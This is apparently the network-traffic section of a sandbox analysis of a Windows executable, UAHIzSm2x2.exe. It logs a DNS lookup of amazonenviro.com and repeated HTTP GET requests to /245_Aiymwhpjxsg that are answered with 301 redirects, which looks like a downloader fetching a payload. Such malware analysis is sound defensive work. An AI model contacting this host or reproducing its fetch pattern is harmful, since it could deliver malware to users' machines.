Jan 14, 2025 08:26:08.771851063 CET	50109	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.773432016 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.078969955 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.080537081 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.080581903 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.080671072 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.080965042 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.080976009 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.126279116 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.994039059 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.994141102 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.995368958 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:09.995374918 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.995615959 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:09.996701956 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.043334961 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.585450888 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.585764885 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.585870028 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.585980892 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.585992098 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.586004019 CET	50110	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.586009979 CET	443	50110	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.699958086 CET	50111	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.705002069 CET	80	50111	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.705111980 CET	50111	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.705202103 CET	50111	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.706983089 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.710163116 CET	80	50111	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:10.710223913 CET	50111	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:10.711827993 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:11.017462969 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:11.018816948 CET	50112	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:11.018850088 CET	443	50112	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:11.018949032 CET	50112	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:11.019354105 CET	50112	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:11.019395113 CET	443	50112	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:11.059329987 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:11.902421951 CET	443	50112	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:11.902566910 CET	50112	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:16.019196033 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:16.023020029 CET	49712	80	192.168.2.6	166.62.27.188

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:08.115179062 CET	50629	53	192.168.2.6	1.1.1.1
Jan 14, 2025 08:24:08.149399042 CET	53	50629	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:08.115179062 CET	192.168.2.6	1.1.1.1	0x7ad1	Standard query (0)	amazonenviro.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:08.149399042 CET	1.1.1.1	192.168.2.6	0x7ad1	No error (0)	amazonenviro.com		166.62.27.188	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

amazonenviro.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49712	166.62.27.188	80	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 08:24:08.190970898 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:09.177887917 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:08 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:11.171236992 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:11.481756926 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:11 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:13.135656118 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:13.446264982 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:13 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:15.077289104 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:15.387444973 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:15 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:17.072043896 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:17.383162975 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:17 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:19.002906084 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:19.313546896 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:19 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:20.953970909 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:21.264297009 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:21 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:22.905419111 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:23.215960026 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:23 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:24.948091984 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:25.259886026 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:25 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:26.894489050 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:27.204391003 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:27 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:28.865905046 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:29.176359892 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:29 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:30.796313047 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:24:31.106925011 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:24:30 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:24:32.719608068 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
